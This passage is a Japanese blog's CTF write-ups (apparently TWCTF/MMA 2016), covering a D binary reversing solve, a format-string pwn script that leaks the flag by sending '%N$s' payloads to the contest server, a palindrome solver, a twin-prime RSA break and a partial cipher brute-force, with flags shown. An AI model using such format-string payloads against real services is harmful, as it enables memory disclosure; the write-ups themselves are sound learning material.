Dmainにはマングルされたザ可読性ゼロを体現したかのような関数がありました。 そのような関数はどんどんオレオレデマングルしていきました。
# deedeedee.d を持っているので、ある程度自信を持ってできました><

% readelf -s deedeedee| egrep "(hexencode|writeln)"
   264: 000000000044e370   148 FUNC    GLOBAL DEFAULT   13 _D9deedeedee9hexencodeFAy
  2544: 00000000004734e8   227 FUNC    WEAK   DEFAULT   13 _D3std5stdio16__T7writeln
  3012: 0000000000472f78   161 FUNC    WEAK   DEFAULT   13 _D3std5stdio20__T7writeln
  2442: 000000000044e370   148 FUNC    GLOBAL DEFAULT   13 _D9deedeedee9hexencodeFAy
  4240: 0000000000472f78   161 FUNC    WEAK   DEFAULT   13 _D3std5stdio20__T7writeln
  5269: 00000000004734e8   227 FUNC    WEAK   DEFAULT   13 _D3std5stdio16__T7writeln

Your なんちゃらが表示された直後にHEXエンコードされたencrypted flagが表示されます。 hexencodeと名づけた関数の返り値がそれのようなので、hexencodeの中身を追っていきます。

000000000044e439         mov        rdi, qword [ds:rdx+rbx]                     ; argument "length" for method hexencode
000000000044e43d         mov        rdx, qword [ds:rdx+rbx+8]                   ; set flag to $rdx
000000000044e442         mov        rsi, rdx                                    ; argument "flag" for method hexencode
000000000044e445         call       hexencode

…結果を先に言うと、encrypted flagは.rodata0x49f775に入っているのでhexencodeを見る価値は無いです。
コンパイル時計算したって問題が言ってるんですから仕方ないですね。

                     byte_format:
000000000049f770         db         "%02x", 0                                   ; XREF=hexencode+89
000000000049f775         db         "gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}", 0
                     _TMP2:
000000000049f7a6         db         "Your hexencoded, encrypted flag is: ", 0   ; XREF=_Dmain+12
                     _TMP3:
000000000049f7cb         db         "I generated it at compile time. :)", 0     ; XREF=_Dmain+85
                     _TMP4:
000000000049f7ee         db         "Can you decrypt it for me?", 0             ; XREF=_Dmain+103
                     _TMP11:

ここでチートで、deedeedee.dを見て、encrypt()とそれの呼び出し先がバイナリに残っているとflagを求められると考えます。 安全策でreadelfで先にencryptを探します。

% readelf -s deedeedee| egrep "encrypt"
   847: 000000000044cde0  5515 FUNC    GLOBAL DEFAULT   13 _D9deedeedee7encryptFNaNf
  3527: 000000000044cde0  5515 FUNC    GLOBAL DEFAULT   13 _D9deedeedee7encryptFNaNf

次は、Hopperで見てみます。

000000000044cde1         mov        rbp, rsp
000000000044cde4         sub        rsp, 0x10
000000000044cde8         mov        qword [ss:rbp+var_10], rdi                  ; arg2
000000000044cdec         mov        qword [ss:rbp+var_8], rsi                   ; arg1
000000000044cdf0         mov        rdx, qword [ss:rbp+var_8]                   ; argument "s" for method _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya
000000000044cdf4         mov        rax, qword [ss:rbp+var_10]
000000000044cdf8         mov        rdi, rax                                    ; argument "key" for method _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya
000000000044cdfb         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya
000000000044cdfe         call       _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya
000000000044ce03         mov        rdi, rax                                    ; argument #1 for method _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya
000000000044ce06         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya
000000000044ce09         call       _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya
000000000044ce0e         mov        rdi, rax                                    ; argument #1 for method _D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya
000000000044ce11         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya
000000000044ce14         call       _D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya
000000000044ce19         mov        rdi, rax                                    ; argument #1 for method _D9deedeedee21__T3encVAyaa3_343434Z3encFNaNfAyaZAya
000000000044ce1c         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_343434Z3encFNaNfAyaZAya
000000000044ce1f         call       _D9deedeedee21__T3encVAyaa3_343434Z3encFNaNfAyaZAya
000000000044ce24         mov        rdi, rax                                    ; argument #1 for method _D9deedeedee21__T3encVAyaa3_353535Z3encFNaNfAyaZAya
000000000044ce27         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_353535Z3encFNaNfAyaZAya
000000000044ce2a         call       _D9deedeedee21__T3encVAyaa3_353535Z3encFNaNfAyaZAya
000000000044ce2f         mov        rdi, rax                                    ; argument #1 for method _D9deedeedee21__T3encVAyaa3_363636Z3encFNaNfAyaZAya
000000000044ce32         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_363636Z3encFNaNfAyaZAya
000000000044ce35         call       _D9deedeedee21__T3encVAyaa3_363636Z3encFNaNfAyaZAya
... snipped ...

名前がよく似ている関数をやたら呼び出しています(grepでカウントしてみたら400回callしてました←なぜ500回じゃない?)。 callの前にしていることはどれも同じです。 コンパイル時にforループ的なものが展開されたと考えればいいのでしょうか。 そうであれば最初の2つの関数の中身を見れば何をしているかを掴めそうです。

アセンブリを見てもキツイのでここでデコンパイラの出番です。 コメントは簡単に書き下したものです。合っているかは知りません。

function _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya {
    var_A8 = rbx;
    var_A0 = _D3std4conv9__T2toTiZ9__T2toTmZ2toFNaNfmZi(var_A8); // c (constant value)
    rax = cycle(var_40, 0x3, 0x49fa5c);             // var_40 = cycle(str(0x00313131)) (?)
    cycle_zip(var_80, arg0, arg1);                  // var_80 = (cycle(str(0x313131))).zip(s2)
    do {
            rax = Cycle_empty(var_80);              // checks if cycle returns empty
            rax = rax ^ 0x1;
            COND = rax == 0x0;
            if (COND) {
                break;
            }
            rax = Cycle_front(var_80);              // rax := (a, b)     
            _d_arrayappendcd(0x0, *(int32_t *)rax ^ *(int32_t *)(rax + 0x4) ^ var_A0 & 0xff);
                                                    // enc = a ^ b ^ c; encoded.push(enc)
            Cycle_popFront(var_80); 
    } while (true);
    rax = 0x0;
    return rax;                                     // return encoded
}

function _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya {
    var_A8 = rbx;
    var_A0 = _D3std4conv9__T2toTiZ9__T2toTmZ2toFNaNfmZi(var_A8); // c (constant value)
    rax = cycle(var_40, 0x3, 0x49fce2);
    cycle_zip(var_80, arg0, arg1);
    do {
            rax = Cycle_empty(var_80);
            rax = rax ^ 0x1;
            COND = rax == 0x0;
            if (COND) {
                break;
            }
            rax = Cycle_front(var_80);
            _d_arrayappendcd(0x0, *(int32_t *)rax ^ *(int32_t *)(rax + 0x4) ^ var_A0 & 0xff);
            Cycle_popFront(var_80);
    } while (true);
    rax = 0x0;
    return rax;
}

pythonのitertoolsにもあるcycle()が出てきてるっぽいです。 暗号方面ではよく見かける書き方です。今回の場合は、flagとそれよりも短いkeyを1文字ずつxorしているように見えます。 それぞれの関数でのkeyが何であるかは .rodata を見ればすぐに分かります。法則も自明ですね。

                     _TMP75:
000000000049fa5c         dd         0x00313131  # "111", 0
... snipped ...
                     _TMP214:
000000000049fce2         dd         0x00323232  # "222", 0
                     _TMP217:
000000000049fce6         dd         0x00333333  # "333", 0
                     _TMP220:
000000000049fcea         dd         0x00343434  # "444", 0
                     _TMP223:
000000000049fcee         dd         0x00353535  # "555", 0
                     _TMP226:
000000000049fcf2         dd         0x00363636  # "666", 0
                     _TMP229:
000000000049fcf6         dd         0x00373737  # "777", 0
                     _TMP232:
000000000049fcfa         dd         0x00383838  # "888", 0
                     _TMP235:
000000000049fcfe         dd         0x00393939  # "999", 0
                     _TMP238:
000000000049fd02         db         "101010", 0  
                     _TMP241:
000000000049fd09         db         "111111", 0  
                     _TMP244:
000000000049fd10         db         "121212", 0  
                     _TMP247:
000000000049fd17         db         "131313", 0  
                     _TMP250:
000000000049fd1e         db         "141414", 0  
                     _TMP253:
... snipped ...
                     _TMP1705:
00000000004a0f0e         db         "499499499", 0  

var_A0 = _D3std4conv9__T2toTiZ9__T2toTmZ2toFNaNfmZi(var_A8); が分かりそうにないし、 0x0から0xffに収まるのは自明なのでここはブルートフォースとします。 全体で500回(?)の暗号化処理の1つ1つは次のような処理をしていると分かりました。
# a, b, c が key. flag, ??? のどれに対応するのか問題は xor の性質で排除できます。テキトーでも大丈夫そうです。

keys = [str(k) * 3 for i in range(500)]
encrypted = "gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}"
decrypted = encrypted
for key in keys:
    c = ??? (blute-force)
    tmp = ""
    for a, b in zip(cycle(key), decrypted):
        dec = chr(ord(a) ^ ord(b) ^ ord(c))
        tmp += dec
    decrypted = tmp
return decrypted

solve.pyを書くのに十分な情報が集まりました。やったね!

solve.pyとflag

from itertools import *

"""
% ./deedeedee
Your hexencoded, encrypted flag is: 676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d
I generated it at compile time. :)
Can you decrypt it for me?
"""

keys = [str(i) * 3 for i in range(500)]
encrypted = "676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d".decode("hex")
# encrypted = "gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}" # good known
decrypted = encrypted
for c in range(256):
    for key in keys:
        # c = ??? (blute-force)
        tmp = ""
        for a, b in zip(cycle(key), decrypted):
            dec = chr(ord(a) ^ ord(b) ^ c)
            tmp += dec
        decrypted = tmp
    if decrypted[0:5] == "flag{":
        print("0x%2x: %s" % (c, decrypted))
print("[+] brute forth done")

flag: flag{t3mplat3_met4pr0gramming_is_gr8_4_3very0n3}

結局cが偶数なら正解のflagになるみたいですが、なぜなんでしょう?

あ゛〜〜〜〜

雑感

githubの方にsuggested pointsが300-400と書いてあって、実際は150点はマジすか。鬼畜ですか…

コンパイル時計算したときに、計算結果は .rodata に入りそう、 誰にも呼ばれないはずの関数(今回はencrypt()は誰にも呼ばれていなかった)がバイナリに残る、という知見らしきものを得ました。 コンパイル時計算はRevのネタとして結構面白いですね。


なんか低得点問題でさえとっつきにくいCTFでしたね。来年は…う〜ん

Tokyo Westerns / MMA CTF 2nd 2016 Writeup(Pwn50+Crypto50,100+PPC50+Web50+Rev50)

2016年9月3日〜4日にかけて48時間開催されたTWCTFに参加しました〜
今回はチームはPing-Micからの出場で、もりたこ(@mrtc0)と僕の2人です><
(二人とも日曜日に参戦できなかったので日曜日は順位がガタ落ちしていきましたっ)

f:id:katc:20160906215741p:plain

Ping-Micは土曜日のsubmitを最後に、360ptの143位で終了です。土曜日までは60番台だったんですけどねー、世間様は厳しい〜
僕は次の問題250ptぶんを入れて、いつもどおりのぱっとしない終了です😇

  • judgement (Pwn50)
  • Make a Palindrome! (PPC50)
  • Twin Primes (Crypto50)
  • Super Express (Crypto100)

あと、Global Page (Web50) アシストしました。

競技中にReverse Box (Rev50)を自分には合わない方針でやって時間を大量に溶かしたものの、今日やったらさくっと解けましたっ

以下 Writeup です。

judgement (Pwn50)

0x80487a2 print(input_flag) に自明なFSBがあるタイプの問題です。 ですが、FSB使う問題が半年ぶりで全然頭に残ってませんでした。 大分時間が経った後にsubmitして得点です。

スタックを掘り進めていけばいつかフラグが出てくるっしょ〜という無能方針です。

import struct, socket, sys, telnetlib
import time
from hexdump import hexdump

def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)
 
def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data
 
def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()
 
def p(a):  return struct.pack("<I",a&0xffffffff)
def u(a):  return struct.unpack("<I",a)[0]

for i in range(0x1, 0x30):
    print("at " + hex(i) + ":")
    s, f = sock("pwn1.chal.ctf.westerns.tokyo", 31729)
    t = read_until(f, "Flag judgment system\nInput flag >> ")

    """
    FSB bug

     8048772: c7 44 24 04 40 00 00  mov    DWORD PTR [esp+0x4],0x40   # 0x40
     8048779: 00 
     804877a: 8d 45 b4              lea    eax,[ebp-0x4c]             # [ebp-0x4c] := input_flag
     804877d: 89 04 24              mov    DWORD PTR [esp],eax
     8048780: e8 e4 00 00 00        call   8048869 <getnline>         
     8048785: 85 c0                 test   eax,eax
     8048787: 75 13                 jne    804879c <main+0x71>
    #---------------------------------------------------------------------
     8048789:   c7 04 24 cc 89 04 08    mov    DWORD PTR [esp],0x80489cc
     8048790:   e8 9b fd ff ff          call   8048530 <puts@plt>
     8048795:   b8 ff ff ff ff          mov    eax,0xffffffff
     804879a:   eb 3c                   jmp    80487d8 <main+0xad>
    #=====================================================================
     804879c:   8d 45 b4                lea    eax,[ebp-0x4c]
     804879f:   89 04 24                mov    DWORD PTR [esp],eax
     80487a2:   e8 39 fd ff ff          call   80484e0 <printf@plt>       # printf(input_flag)
    """

    f.write("%" + str(i) + "$s" + "\n")

    shell(s)

    time.sleep(0.5)

"""
[katc@K_atc judgement]$ python2 judgement.py 
at 0x1:
*** Connection closed by remote host ***
at 0x2:
êz÷
Wrong flag...
*** Connection closed by remote host ***
at 0x3:                                                                   ii
Wrong flag...
*** Connection closed by remote host ***
at 0x4:
*** Connection closed by remote host ***
at 0x5:
*** Connection closed by remote host ***
at 0x6:
(null)
Wrong flag...
*** Connection closed by remote host ***
at 0x7:
*** Connection closed by remote host ***
at 0x8:
*** Connection closed by remote host ***
at 0x9:
(null)
Wrong flag...
*** Connection closed by remote host ***
at 0xa:
tÑW÷?
Wrong flag...
*** Connection closed by remote host ***
at 0xb:
Ààb÷ÐÏa÷
Wrong flag...
*** Connection closed by remote host ***
at 0xc:

Wrong flag...
*** Connection closed by remote host ***
at 0xd:
e
Wrong flag...
*** Connection closed by remote host ***
at 0xe:
r
Wrong flag...
*** Connection closed by remote host ***
at 0xf:
ÀuLÇD$@
Wrong flag...
*** Connection closed by remote host ***
at 0x10:
$­û(s÷(s
Wrong flag...
*** Connection closed by remote host ***
at 0x11:
}#
Wrong flag...
*** Connection closed by remote host ***
at 0x12:
*** Connection closed by remote host ***
at 0x13:
*** Connection closed by remote host ***
at 0x14:
*** Connection closed by remote host ***
at 0x15:                                                                  89|÷°d{÷ ëd÷Dc÷ ¬d÷`ê`÷À°g÷Пf÷
Wrong flag...
*** Connection closed by remote host ***
at 0x16:
*** Connection closed by remote host ***
at 0x17:
*** Connection closed by remote host ***
at 0x18:
#Ó24$s
Wrong flag...
*** Connection closed by remote host ***
at 0x19:
Z
 $$D$Â
      
Wrong flag...
*** Connection closed by remote host ***
at 0x1a:

Wrong flag...
*** Connection closed by remote host ***
at 0x1b:
WLfnL$
      fï҉Ïf`Éf`ɃáfpÉ
Wrong flag...
*** Connection closed by remote host ***
at 0x1c:
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...
*** Connection closed by remote host ***
at 0x1d:

Wrong flag...
*** Connection closed by remote host ***
at 0x1e:
*** Connection closed by remote host ***
at 0x1f:
Eô}ô
Wrong flag...
"""

flag: TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

Make a Palindrome! (PPC50)

こんなん、やるだけなのでコードだけ置いておきますね。

# -*- coding:utf-8 -*-
# Server connection example file for Python 2
import socket
import sys
import itertools

class BreakIt(Exception): pass

def check(arr):
    text = ''.join(arr)
    if text==text[::-1]:
        return True
    else: 
        return False

host = 'ppc1.chal.ctf.westerns.tokyo'
if len(sys.argv) > 1:
    host = sys.argv[1]
port = 31111
if len(sys.argv) > 2:
    host = int(sys.argv[2])

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))

client_file = client.makefile('b')

while client_file.readline().strip() != "Let's play!":
    pass

client_file.readline()
for case in range(0, 30):
    client_file.readline()
    words = client_file.readline().split()[2:]
    # words: input
    # answer: answer
    ##  Please write some code here
    print(words)
    head = {}
    for x in words:
        head.setdefault(x[0], []).append(x)
    tail = {}
    for x in words:           
        tail.setdefault(x[-1], []).append(x)

    answer = []
    try:
        for k, v in head.items():
            if k in tail:
                for x in v:
                    for y in tail[k]:
                        test = words[:]
                        test.remove(x)
                        if y in test:
                            test.remove(y)
                        else:
                            break
                        for t in itertools.permutations(test):
                            answer = [x] + list(t) + [y]
                            if check(answer):
                                print "[+] found"
                                print answer
                                raise BreakIt
    except BreakIt:
        pass
    #
    client_file.write(' '.join(answer) + "\n")
    client_file.flush()
    ret = client_file.readline()[8:-1]
    print(ret)
    if 'Wrong Answer' in ret:
        print(client_file.readline())
        sys.exit(1)


"""
[katc@K_atc Palindrome]$ python2 solve.py 
['wu', 'ixuw', 'r', 'xixxyvns', 'rsnvyxx']
[+] found
['rsnvyxx', 'ixuw', 'wu', 'xixxyvns', 'r']
Judge: Correct! TWCTF{Charisma_School_Captain}
['tirs', 'r', 's', 'yuy', 'ita', 'xg', 'a', 'g', 'xrs', 'sr']
[+] found
['a', 'tirs', 's', 'r', 'xg', 'yuy', 'g', 'xrs', 'sr', 'ita']
Judge: Correct! 
['k', 'kjk', 'jkjjkjk', 'jjkjjjjkjkkk', 'kjkjkjkj', 'kj', 'kkjkjjj', 'jjjk', 'jjjjjjjkk', 'kkjjjj']
[+] found
['kj', 'k', 'jjkjjjjkjkkk', 'jjjjjjjkk', 'kjkjkjkj', 'kjk', 'kkjjjj', 'jjjk', 'kkjkjjj', 'jkjjkjk']
Judge: Correct! 
['tcd', 'tsyjej', 'u', 'dct', 's', 'w', 'lw', 'uwjejy', 't', 'zsszwl']
[+] found
['dct', 'tsyjej', 'w', 'u', 'lw', 'zsszwl', 'uwjejy', 's', 't', 'tcd']
Judge: Correct! 
['bvj', 'kgs', 'i', 'ffkfjvbk', 'fk', 'sgkk', 'n', 'a', 'ta', 'atnia']
[+] found
['atnia', 'sgkk', 'bvj', 'fk', 'ffkfjvbk', 'kgs', 'a', 'i', 'n', 'ta']
Judge: Correct! 
['zl', 'ulz', 'g', 'zb', 'bzlzzlu', 'g', 's', 'rrf', 'frrs', 'gg']
[+] found
['bzlzzlu', 'g', 'g', 's', 'rrf', 'frrs', 'gg', 'ulz', 'zl', 'zb']
Judge: Correct! 
['eelel', 'll', 'eellle', 'eell', 'lle', 'e', 'elllelllllll', 'lllel', 'eeelllee', 'e']
[+] found
['eell', 'll', 'lllel', 'lle', 'eellle', 'eelel', 'eeelllee', 'elllelllllll', 'e', 'e']
Judge: Correct! 
['rrwrwrrw', 'wwwrrwwww', 'rrrwwwwrr', 'ww', 'rrrwr', 'rww', 'r', 'rwrr', 'wrwr', 'wwwwrr']
[+] found
['rww', 'rwrr', 'rrwrwrrw', 'wwwrrwwww', 'rrrwwwwrr', 'wwwwrr', 'wrwr', 'rrrwr', 'ww', 'r']
Judge: Correct! 
['exyp', 'e', 'r', 'aq', 'xncum', 'amr', 'yx', 'q', 'mucnx', 'm']
[+] found
['mucnx', 'r', 'm', 'aq', 'exyp', 'yx', 'e', 'q', 'amr', 'xncum']
Judge: Correct! 
['e', 'k', 'shiepf', 's', 'kfnx', 'ih', 'kdfp', 'lnxnfk', 'dk', 'nlk']
[+] found
['kfnx', 'nlk', 'shiepf', 'dk', 'kdfp', 'e', 'ih', 's', 'k', 'lnxnfk']
Judge: Correct! 
['k', 'hs', 'v', 'yjsh', 'hy', 'jz', 'm', 'k', 'zjmyh', 'jy']
[+] found
['hs', 'jy', 'k', 'hy', 'm', 'jz', 'v', 'zjmyh', 'k', 'yjsh']
Judge: Correct! 
['pn', 'npgbubv', 'asw', 'vbub', 'rwsa', 'z', 'gawag', 'g', 'z', 'r']
[+] found
['asw', 'r', 'npgbubv', 'z', 'gawag', 'z', 'vbub', 'g', 'pn', 'rwsa']
Judge: Correct! 
['z', 'h', 'k', 't', 'zht', 'albbbblauj', 'yl', 'm', 'lykju', 'm']
[+] found
['m', 't', 'h', 'z', 'lykju', 'albbbblauj', 'k', 'yl', 'zht', 'm']
Judge: Correct! 
['jsssjssjs', 'ssss', 'sjssjsssjssssjs', 'jjs', 'jjjj', 'j', 'jjjj', 'sssjjssjsjj', 'jsss', 'jssj']
[+] found
['sssjjssjsjj', 'jjjj', 'sjssjsssjssssjs', 'j', 'ssss', 'jsssjssjs', 'jjjj', 'jjs', 'jssj', 'jsss']
Judge: Correct! 
['r', 'zzz', 'tkqyafw', 'gqwfa', 't', 'yqk', 'f', 'fy', 'y', 'qgr']
[+] found
['fy', 'r', 'gqwfa', 'yqk', 't', 'zzz', 'tkqyafw', 'qgr', 'y', 'f']
Judge: Correct! 
['vvvv', 'vvv', 'a', 'vavvavavvaavavvav', 'vvvavvavaavva', 'v', 'avva', 'vv', 'vvvvv', 'vvva']
[+] found
['avva', 'vvvv', 'vvv', 'vvvavvavaavva', 'vavvavavvaavavvav', 'v', 'vvvvv', 'vvva', 'vv', 'a']
Judge: Correct! 
['cus', 'cj', 'tllse', 'j', 'u', 'w', 'eslltw', 'vzd', 'dz', 'v']
[+] found
['eslltw', 'vzd', 'j', 'cus', 'u', 'cj', 'dz', 'v', 'w', 'tllse']
Judge: Correct! 
['xb', 'xbbbxbbbbbxxxb', 'xxxbbbbbxbbbxxb', 'b', 'x', 'x', 'x', 'xbbbbbxxxxxx', 'bb', 'bbb']
[+] found
['xb', 'xxxbbbbbxbbbxxb', 'xbbbbbxxxxxx', 'bb', 'bbb', 'x', 'b', 'x', 'xbbbxbbbbbxxxb', 'x']
Judge: Correct! 
['t', 'oow', 'z', 'u', 'rdtod', 'd', 'otdruw', 't', 'o', 'oz']
[+] found
['d', 'otdruw', 'o', 'oz', 't', 't', 'z', 'oow', 'u', 'rdtod']
Judge: Correct! 
['lmo', 'lg', 'gly', 'y', 'yaa', 'o', 'aa', 'mlf', 'f', 'gy']
[+] found
['aa', 'y', 'o', 'mlf', 'gly', 'gy', 'lg', 'f', 'lmo', 'yaa']
Judge: Correct! 
['sz', 'r', 's', 'ig', 'g', 'jab', 's', 'izs', 'ggrbaj', 'g']
[+] found
['sz', 'ig', 's', 'jab', 'r', 'g', 'ggrbaj', 's', 'g', 'izs']
Judge: Correct! 
['vzv', 'zzzzzzzzvvvz', 'v', 'v', 'vzz', 'vzz', 'zzzzzzzvzzvvzv', 'zzz', 'zzzzz', 'vv']
[+] found
['zzzzz', 'vv', 'vzv', 'vzz', 'v', 'zzzzzzzzvvvz', 'zzzzzzzvzzvvzv', 'v', 'vzz', 'zzz']
Judge: Correct! 
['am', 'f', 'c', 'mdc', 'm', 'udkk', 'af', 'q', 'duq', 'dm']
[+] found
['mdc', 'f', 'am', 'q', 'udkk', 'duq', 'm', 'af', 'c', 'dm']
Judge: Correct! 
['llllr', 'rl', 'rrrl', 'llllrrlll', 'rrl', 'rlll', 'lllrr', 'llrrr', 'lllllrlllllrrll', 'r']
[+] found
['rl', 'llllrrlll', 'r', 'rrrl', 'lllrr', 'lllllrlllllrrll', 'llrrr', 'rlll', 'rrl', 'llllr']
Judge: Correct! 
['kfmj', 'rh', 'q', 'z', 'djk', 'kjdhrp', 'llml', 'fkqlm', 'zjm', 'p']
[+] found
['kjdhrp', 'zjm', 'fkqlm', 'llml', 'q', 'kfmj', 'z', 'p', 'rh', 'djk']
Judge: Correct! 
['cfu', 'yvt', 'estvya', 'd', 'fc', 'eqok', 'nda', 'koq', 'n', 's']
[+] found
['koq', 'estvya', 'd', 'n', 'cfu', 'fc', 'nda', 'yvt', 's', 'eqok']
Judge: Correct! 
['uy', 'rmi', 'mrxyugh', 'x', 'hg', 'w', 'm', 'ztnj', 'z', 'mwjnt']
[+] found
['mwjnt', 'z', 'hg', 'uy', 'x', 'rmi', 'mrxyugh', 'ztnj', 'w', 'm']
Judge: Correct! 
['omc', 's', 'v', 'cmo', 'v', 'qrxng', 'sg', 'o', 'nxrq', 'or']
[+] found
['cmo', 'v', 'qrxng', 's', 'or', 'o', 'sg', 'nxrq', 'v', 'omc']
Judge: Correct! 
['yyyy', 'yu', 'yyuyyuuuuy', 'yy', 'u', 'yyyy', 'uyyuuuuyyuyyu', 'yyyyuu', 'u', 'uuuyyyy']
[+] found
['yyyy', 'u', 'yyuyyuuuuy', 'yu', 'yyyyuu', 'u', 'yy', 'uuuyyyy', 'uyyuuuuyyuyyu', 'yyyy']
Judge: Correct! 
['m', 'kntrngc', 'mem', 'q', 'me', 'm', 'kf', 'k', 'qf', 'kcgnrtn']
[+] found
['qf', 'kntrngc', 'k', 'm', 'me', 'mem', 'm', 'kcgnrtn', 'kf', 'q']
Judge: Correct! TWCTF{Hiyokko_Tsuppari}
"""

flag #1: TWCTF{Charisma_School_Captain}
flag #2: TWCTF{Hiyokko_Tsuppari}

(なんすかこのフラグ…)

Twin Primes (Crypto50)

要は、RSA暗号のパラメータで、(p, q) と (p+2, q+2) のそれぞれの積は分かるときにp, qのそれぞれを簡単に求めることはできるのか、という問題です(encrypt.pyのコードは省略)。 計算量が多いように見せかけて、実は簡単な式変形で解けるという問題を以前食らったことがあった(たぶんCODEGATE 2016)ので、今回は解けました。やったね。

p, qの計算はsageにさせました。
decryptはencryptのコードを流用してさくっと完成です。

n1 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951
n2 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859

# n2 = n1 + 2 (p + q) + 4
p_plus_q = ((n2 - n1) - 4) / 2
print("p * q = " + str(n1))
print("p + q = " + str(p_plus_q))

p, q = var("p q")
f = [p * q - n1, p + q - p_plus_q]
solns = solve(f, p, q)
print(solns[0])

"""
p = 109839168287920364771652233739542245893972429420400471787477887103169099491804762856071669374751286279860451783039232642710981517010937585802203565874477414469934412741906018847402147404957765188018616912003220542453809516059524224015255036266232001320821428611494617812180060212800300789614856560253120304701
q = 176645945799298135110721766377313792982812334295271987596634864064777954683139799946630491521527848390622912482826980130051166690303653228530141163053890146954290070312482492552495214917023922382112893625586133272913759418717134953590760109002220865007673751773346439753002517112721944238066505389966935631251
"""
from Crypto.Util.number import *
import Crypto.PublicKey.RSA as RSA
import os

N = 1024

def getTwinPrime(N):
    while True:
        p = getPrime(N)
        if isPrime(p+2):
            return p

def genkey(N = 1024):
    # p = getTwinPrime(N)
    # q = getTwinPrime(N)
    p = 109839168287920364771652233739542245893972429420400471787477887103169099491804762856071669374751286279860451783039232642710981517010937585802203565874477414469934412741906018847402147404957765188018616912003220542453809516059524224015255036266232001320821428611494617812180060212800300789614856560253120304701
    q = 176645945799298135110721766377313792982812334295271987596634864064777954683139799946630491521527848390622912482826980130051166690303653228530141163053890146954290070312482492552495214917023922382112893625586133272913759418717134953590760109002220865007673751773346439753002517112721944238066505389966935631251
    n1 = p*q
    n2 = (p+2)*(q+2) # n2 = n1 + 2 (p + q) + 4
    e = long(65537)
    d1 = inverse(e, (p-1)*(q-1))
    d2 = inverse(e, (p+1)*(q+1))
    key1 = RSA.construct((n1, e, d1))
    key2 = RSA.construct((n2, e, d2))
    if n1 < n2:
        return (key1, key2)
    else:
        return (key2, key1)

rsa1, rsa2 = genkey(N)

with open("encrypted", "r") as f:
    c = f.read()

c = int(c)
c = rsa2.decrypt(c)
c = rsa1.decrypt(c)
padded_flag = long_to_bytes(c)
print(padded_flag)

"""
[katc@K_atc twin-primes]$ python2 decrypt.py 
TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}
 ßÝë*Àý L0ÜԪâÒ<5ìS²E$K
èühj@è-Á¾ÙH'(çàü鐎úë¬Âaê°ÅÇDm¶ZLʔa
"""

flag: TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}

Super Express (Crypto100)

まず、encryptで使われたコード(encrypt.py)を確認する必要があります。

import sys
key = '****CENSORED***************'
flag = 'TWCTF{*******CENSORED********}'

if len(key) % 2 == 1:
    print("Key Length Error")
    sys.exit(1)

n = len(key) / 2
encrypted = ''
for c in flag:
    c = ord(c)
    for a, b in zip(key[0:n], key[n:2*n]):
        c = (ord(a) * c + ord(b)) % 251
    encrypted += '%02x' % c

print encrypted

# 805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9
# T W C T F { F ?           T                   ?           }

メモ書きとコードを見れば、換字式暗号ということまではわかります。 各文字に対して、同じkeyでエンヤコラしています。 flagもkeyもわからないので、ecnryptedから両者を推察することは難しそうです。
# flagの先頭数文字だけは分かるので、何かのkeyで TWCTF{ をencryptして 805eed80cbbc になればそのkeyは正しいことは分かります。

ただ48時間しかないようなCTFで、計算時間が競技時間を超えることはまず無いでしょうし、 昨年はそんなエグい問題は出ていなかったはずなので、keyは少し計算すれば求まるような長さっぽい、というあたりを付けて1つ目のコードを書きました。

import sys
import itertools
import string

key = ''
flag = 'TWCTF{'

# A = string.ascii_letters
A = string.ascii_lowercase
for i in itertools.product(A, repeat=4):
    key = ''.join(list(i))
    if key[-3:] == "aaa":
        print(key)
    if len(key) % 2 == 1:
        print("Key Length Error")
